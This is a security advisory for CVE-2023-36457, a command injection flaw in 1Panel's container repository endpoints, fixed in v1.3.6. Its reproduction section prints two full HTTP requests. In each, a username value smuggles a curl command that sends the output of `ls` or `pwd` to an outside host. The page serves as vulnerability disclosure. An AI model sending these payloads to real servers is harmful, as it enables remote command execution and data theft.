Ecosyste.ms: Advisories

Security Advisories: GSA_kwCzR0hTQS1xMm14LWdwamYtM2g4eM4AA0OR

1Panel vulnerable to command injection when adding container repositories

Impact

The authenticated attacker can craft a malicious payload to achieve command injection when adding container repositories.

1. Vulnerability analysis.

backend\app\api\v1\image_repo.go#create

backend\app\service\image_repo.go#CheckConn

2. vulnerability reproduction.

POST /api/v1/containers/repo HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN: 
Content-Length: 446
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e

{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`ls`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}

3. Using update can be triggered multiple times.

POST /api/v1/containers/repo/update HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-CSRF-TOKEN: 
Content-Length: 447
Origin: http://192.168.109.152:40982
Connection: close
Referer: http://192.168.109.152:40982/containers/repo
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e

{"id":2,"createdAt":"2023-04-13T19:57:43.633643247-07:00","name":"asdasd","downloadUrl":"127.0.0.1:8080","protocol":"http","username":"admin||curl http://192.168.109.1:12345/`pwd`||","auth":true,"status":"Failed","message":"stderr: WARNING! Using --password via the CLI is insecure. Use --password-stdin.\nError response from daemon: Get \"http://127.0.0.1:8080/v2/\": dial tcp 127.0.0.1:8080: connect: connection refused\n","password":"Passw0rd"}

Affected versions: <= 1.3.5

Patches

The vulnerability has been fixed in v1.3.6.

Workarounds

It is recommended to upgrade the version to v1.3.6.

References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel
Email us at [email protected]

Permalink: https://github.com/advisories/GHSA-q2mx-gpjf-3h8x
JSON: https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xMm14LWdwamYtM2g4eM4AA0OR
Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: over 1 year ago
Updated: about 1 year ago

CVSS Score: 6.3
CVSS vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L

Identifiers: GHSA-q2mx-gpjf-3h8x, CVE-2023-36457
References:

• https://github.com/1Panel-dev/1Panel/security/advisories/GHSA-q2mx-gpjf-3h8x
• https://nvd.nist.gov/vuln/detail/CVE-2023-36457
• https://github.com/1Panel-dev/1Panel/releases/tag/v1.3.6
• https://github.com/advisories/GHSA-q2mx-gpjf-3h8x

Repository: https://github.com/1Panel-dev/1Panel
Blast Radius: 1.0

Affected Packages